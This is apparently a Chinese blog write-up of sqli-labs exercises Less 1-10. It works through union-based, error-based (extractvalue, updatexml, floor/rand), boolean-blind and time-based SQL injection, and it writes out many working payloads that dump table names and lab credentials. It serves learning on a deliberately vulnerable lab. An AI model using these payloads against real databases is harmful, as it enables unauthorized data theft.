sqli-labs Basic Challenges Less1-10

SQL注入

写在前面的总结:

Less 1-9的难度的主要提升顺序:

1.正确具体信息可见,错误具体信息可见:

Less1-4,使用union select将所需字段通过正确具体信息显示;

注意判断是整型还是字符型、单引号或双引号、是否有括号。

2.正确具体信息不可见,错误具体信息可见:

Less 5-6,Double injection类型,使用报错注入。

3.只有正确、错误信息,没有详细信息:

Less8,基于布尔的盲注,一个一个的爆破出表名、列名、数据内容。

4.没有任何信息

Less 9-10,基于时间的盲注,如果前面字段正确,则执行延时函数-。

Less1和Less2可用思路

1.判断注入点是字符型还是整数型:

输入2-1,如果是整型,2-1会被当做1;如果是字符型,‘2-1’会被当作’2’。

这涉及到MySQL的隐式类型转换,参考链接:https://www.jb51.net/article/101531.htm

2.如果是字符型,判断是否两端是单引号:

2-1"正常,2-1'不正常,说明是单引号。

' or '1' = '1如果能正常运行,说明两端都是单引号,并且空格等字符没有被过滤。

可能会用到#或者--,它们都是SQL的行内注释,可以把引号注释掉。

如果用#,注意它是URL的保留字符,可能需要转义。

如果用--,需要在后面加上一个空格,为防止两端的空格被过滤,还可以在空格加上其他字符。

3.union select联合查询

第一步是确定列数:

可以通过union select 1,2,3...可以确定列数;

也可以通过order by n确定列数,意思是通过第n列对数据表进行排序。

第二步是确定可以显示的列:

对于1' union select 1,2,3 #,可能由于设置,只显示多个结果的第一条。

所以要用' union select 1,2,3 #,第一个结果为空,所以显示的是自己构造的结果,比如说显示2。就说明显示的是第2列,之后只需要构造第2列就可以了。

第三步:利用information_schema

1.获取现有的数据库名

select database()

获取所有的数据库名

select schema_name from information_schema.schemata

2.获取所需数据库的表名

select table_name from information_schema.tables where table_schema = database()

3.获取所需表的列名

select column_name from information_schema.columns where table_name='所需表名' and table_schema=database()

4.获取所需表的全部数据

select col1, col2,... from 所需表

注意:

group_concat(schema_name),以组的形式显示,多列多行结果合并成一行,不受行的限制。行与行合并成组,以逗号分隔。列与列则是直接合并,可以自行加入分隔符,如group_concat(col1,',',clo2,',',col3)

在用union select调试的时候,注意前面构造的引号、应该有的列数、最后的-- 任意字符

Less-3 GET-Error based-Single quotes with twist-String

做题时错误的思路:

?id=1	//正常
?id=1' -- -	//不正常,说明里面的'被替换了,导致单引号配对失败
?id=1\' -- -	//正常返回,说明\'被替换成\\'
?id=1\' union select 1 -- -
?id=1\' union select 1,2 -- - //全部正常返回,说明select很有可能被过滤

第3题做到这里就做不下去了,因为想不到select被过滤要怎么搞。结果看答案发现思路完全错误

1.在测试的时候应该输入?id=1'进行测试,这样就可以看到报错:

 check the manual that corresponds to your MySQL server version for the right syntax to use near '''') LIMIT 0,1' at line 1

像之前直接?id=1' -- -进行测试,返回的错误结果完全没有关于括号的报错。

之后对单引号进行转义,也是完全错误的思路,这使得select被作为id字符串的一部分,作用完全没有发挥。至于为什么能正常返回,猜想是因为在查询数据库时,将字符串转成int,正好只取了最前面正常的字符。

2.按照正确的思路继续做:

?id=1')	//报错
?id=1') -- -	//正常返回
?id=1') union select 1,2,3 -- - //正常,说明一共有3列
?id=0') union select 1,2,3 -- - //显示2,3.说明2和3是可显示列。
?id=0') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- -
//因为默认只显示1列,所以要用id=0。同样为了显示所有表名,需要用group_concat()将表名连接起来。其中users表看起来不错
?id=0') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' -- - //得到列名
?id=0') union select 1,2,group_concat(id,',',username,',',password) from users -- -
//成功得到所有用户名和密码
Less-4 GET-Error based-Double Quotes-String
?id=1'	//正常
?id=1"	//报错: for the right syntax to use near '"1"") LIMIT 0,1' at line 1
//说明右侧不仅是双引号,还有小括号
?id=1") -- -	//正常
?id=1") union select 1,2,3 -- -
//接下来都是同样的套路,直到最后
?id=0") union select 1,2,group_concat(id,',',username,',',password) from users -- -
Less-5 GET-Double Injection-Single Quotes-String
?id=1	//返回的是you are in
?id=1'	//报错
?id=1' -- - //返回you are in
?id=0' union select 1,2,3 -- -	//仍旧返回you are in
//用之前的方法无法再获取更多的信息

没有思路,跑去百度。

题目特点是,对于正确的输入,返回相同的结果。对于错误的输入,会出现报错。

所以考虑报错注入的方式,通过报错信息,来进行下一步的使用。

报错注入常用1:extractvalue()

该函数一般用于对XML文档进行查询,用法是extractevalue(目标xml文档,xml路径),特点是在有语法错误的时候会报错,而且会显示报错的内容是什么。比如说extractvalue('anything',concat('~',(select database()))),由于以~开头的肯定不是xml格式的语法,所以一定会报错,在报错时就会显示出数据库的内容是什么了。

测试一下:

?id=0' and extractvalue('anything',concat('~',(select database())))-- -

可以看到报错:XPATH syntax error: '~security'

使用这个思路继续往下做:

?id=0' and extractvalue('anything',concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database())))-- -
//得到报错XPATH syntax error: '~emails,referers,uagents,users',省略若干步:
?id=0' and extractvalue('anything',concat('~',(select group_concat(id,',',username,',',password) from users)))-- -
//得到报错XPATH syntax error: '~1,Dumb,Dumb,2,Angelina,I-kill-y'

注意:extractvalue()一次只能报错32个字符的长度,如果需要查看剩余的部分,则需要用substring方法查看。

?id=0' and extractvalue('anything',concat('~',substring((select group_concat(id,',',username,',',password) from users),32,32)))-- -
//得到报错XPATH syntax error: '~ou,3,Dummy,p@ssword,4,secure,cr'
报错注入常用2:updatexml()

该函数用于更新xml文档,语法为updatexml(目标xml文档,xml路径,更新的内容)

第一个和第三个参数填写anything,第二个参数也是用concat函数构造一个不存在的xml路径。同样也是32位查询。

测试一下:

?id=0' and updatexml('anything',concat('~',(select group_concat(id,',',username,',',password) from users)),'anything')-- -
//成功得到报错XPATH syntax error: '~1,Dumb,Dumb,2,Angelina,I-kill-y'
报错注入常用3:floor()

参考链接:https://blog.csdn.net/wn314/article/details/89297560

基础知识:

floor()函数,返回小于等于输入参数的最大整数;

rand()产生0到1之间随机数;

rand(X)以X为种子产生0到1之间随机数,X不变,随机数不变;

floor(rand(X)*2)产生0或1的整数随机数;

count(*)group by统计某列数值的种类及个数。

语句格式:

select count(*) , floor(rand(14)*2) as x from information_schema.tables group by x

即将floor(rand(14)*2)所在列重命名为x,并依据x列的值的种类对表进行统计。

报错原理:

floor(rand(14)*2)的前4个数值为1 0 1 0。

MySQL首先建立临时表,逐行扫描表information_schema.tables,第一次计算floor函数值得到1,查询临时表发现没有键值为1的行,于是准备增加一条记录,此时第二次计算floor函数值得到0,所以实际插入记录的值为(0,1)

MySQL继续扫描information_schema.tables,第三次计算floor函数值得到1,查询临时表发现没有健值为1的行,于是准备增加一条记录,此时第四次计算floor函数值得到0,在插入时出现主键冲突,得到报错类似于Duplicate entry '0' for key 'group_key'

也就是说,在MySQL数据库中,使用group by语句时会多次计算同一个rand函数的值,每次返回一个新的结果。

这样我们就可以使用concat函数将我们构造的SQL语句与floor函数进行拼接,使得错误结果得以显示。

测试一下:

?id=1' union select 1,count(*), concat((select version()), floor(rand(14)*2)) as c from information_schema.tables group by c -- -

注意union select后面还是要跟正确数量的列数,concat函数进行拼接。得到结果Duplicate entry '5.5.44-0ubuntu0.14.04.10' for key 'group_key'

?id=1' union select 1,count(*), concat((select group_concat(table_name) from information_schema.tables where table_schema=database()), floor(rand(14)*2)) as c from information_schema.tables group by c -- -

不知道为什么,这里直接group_concat不管用。

用一下substring:

?id=1' union select 1,count(*), concat(substring((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,100), floor(rand(14)*2)) as c from information_schema.tables group by c -- -

加个substring就能显示……把100换成153能够显示,换成154就不行了。

返回得到Duplicate entry 'emails,referers,uagents,users0' for key 'group_key'

当然也可以用下面的方式一个个尝试。
limit 0,1表示从第一条记录开始取,取1条

?id=1' union select 1,count(*), concat((select concat(table_name) from information_schema.tables where table_schema=database() limit 0,1), floor(rand(14)*2)) as c from information_schema.tables group by c -- -
//得到结果Duplicate entry 'emails0' for key 'group_key',所以第一个表名为referers
//一直改到limit 3,1得到users

最后:

?id=1' union select 1,count(*), concat(substring((select group_concat(id,',',username,',',password) from users),1,100), floor(rand(14)*2)) as c from information_schema.tables group by c -- -

可以得到部分解:

Duplicate entry '1,Dumb,Dumb,2,Angelina,I-kill-you,3,Dummy,p@ssword,4,secure,crap' for key 'group_key'
Less-6 GET-Double Injection-Double Quotes-String
?id=1	//you are in...
?id=1"	//报错
?id=1" -- -	//you are in...

报错注入尝试1:

1.测试一下能否成功
?id=1" and extractvalue('anything', concat('~', (select database()))) -- -
//报错 XPATH syntax error: '~security'
2.爆表名
?id=1" and extractvalue('anything', concat('~', (select group_concat(table_name) from information_schema.tables where table_schema=database()))) -- -
//报错 XPATH syntax error: '~emails,referers,uagents,users'
3.爆列名
?id=1" and extractvalue('anything', concat('~', (select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))) -- -
//报错 XPATH syntax error: '~id,username,password'
4.获取表中的所有数据
?id=1" and extractvalue('anything', concat('~', (select group_concat(id,' ',username, ' ', password) from users))) -- -
//报错 XPATH syntax error: '~1 Dumb Dumb,2 Angelina I-kill-y'
//通过substring来获取后面的部分
?id=1" and extractvalue('anything', concat('~', substring((select group_concat(id,' ',username, ' ', password) from users),32,32))) -- -
//报错 XPATH syntax error: '~ou,3 Dummy p@ssword,4 secure cr'

报错注入尝试2:

?id=1" and updatexml('anything', concat('~', (select group_concat(id,' ',username, ' ', password) from users)), 'anything') -- -
//报错 XPATH syntax error: '~1 Dumb Dumb,2 Angelina I-kill-y'

报错注入尝试3:

1.确认列的个数
?id=1" union select 1,2,3-- -	//you are in...
2.测试语句能否使用
?id=1" union select 1,count(*),concat((select database()),floor(rand(14)*2)) as c from information_schema.tables group by c-- -
//报错 Duplicate entry 'security0' for key 'group_key'
3.不一步一步做了,直接爆列名
?id=1" union select 1,count(*),concat(substring((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,100),floor(rand(14)*2)) as c from information_schema.tables group by c-- -
//还是不知道为什么要加上substring。。。
//得到报错 Duplicate entry 'id,username,password0' for key 'group_key'
4.爆数据
?id=1" union select 1,count(*),concat(substring((select group_concat(id,' ',username, ' ', password) from users),1,100),floor(rand(14)*2)) as c from information_schema.tables group by c-- -
//报错 Duplicate entry '1 Dumb Dumb,2 Angelina I-kill-you,3 Dummy p@ssword,4 secure crap' for key 'group_key'
Less-7 GET-Dump into outfile-String
?id=1	//You are in.... Use outfile......
1.判断是整数型还是字符型
?id=18	//报错
?id=18-17	//报错,说明不是整数型,是字符型。如果是整数型,会将18-17计算成1。
2.判断是单引号还是双引号
?id=1'	//报错
?id=1"	//不报错,说明id两端一定是单引号。如果id两端是双引号,应该单引号时不报错,双引号时报错
3.判断单引号后面是否还有括号
?id=1'-- -	//报错,但是没有错误回显,需要自己猜测,那么只有可能是缺少括号的问题
?id=1')-- -	//报错,再增加括号
?id=1'))-- -	//不报错
4.判断有几列
?id=1')) union select 1,2,3-- -	//不报错

试着写入外部文件中:

因为服务器不在我这端,写了文件也看不见,所以暂时不考虑这道题。

Less-8 GET-Blind-Boolian Based-Single Quotes

盲注的特点就是只能区分出是正确还是错误。不带更具体的错误回显。

1.构造盲注格式,检验是否正确
?id=1' union select 1,2,3-- -
?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))=1-- -
//判断表名的第一个字符,注意用and连接,左侧一直有值,右侧只有在数值正确的时候才有值
?id=1' and substring((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='a'-- -

用burp suite爆破一下length:

sqli-labs Basic Challenges Less1-10_第1张图片

可以知道表的总长度为29。

接下来利用Python中的import string string.printable获取所有的可打印字符,构建字典。再用burp suite一个个试表中每一位:

得到第一个字符是e:

sqli-labs Basic Challenges Less1-10_第2张图片

然后修改substring(,1,1)substring(,2,1),得到第二位m,依次类推,可以得到所有的表名,然后得到所有的列名,进而得到所有的数据。

可以看出,整个过程非常麻烦,所以可以自己编写自动化脚本完成这一过程。在编写自动化脚本的过程中,可以使用二分法来加快进度。

Less-9 Blind-Time based-Single Quotes-String

基于时间的盲注,特点是无论正确与否返回的都是一样的。

?id=1' and sleep(3)-- -
//看到出现明显延迟,说明注入成功
//原因是,如果id=1'能够查询到数值,那么就会执行sleep(3);如果id=1'查询不到数值,就不会执行and后面的部分。这里出现延迟,说明后面被执行,说明and前面的部分是正确的。

例如下面的就有明显的延迟:

?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))=29 and sleep(3)-- -

方法类似,只需要一个个尝试。按照顺序获取表的长度、表名、列名、属性名。
Less10的思路也是类似的,只是换成了双引号。

你可能感兴趣的:(CTF)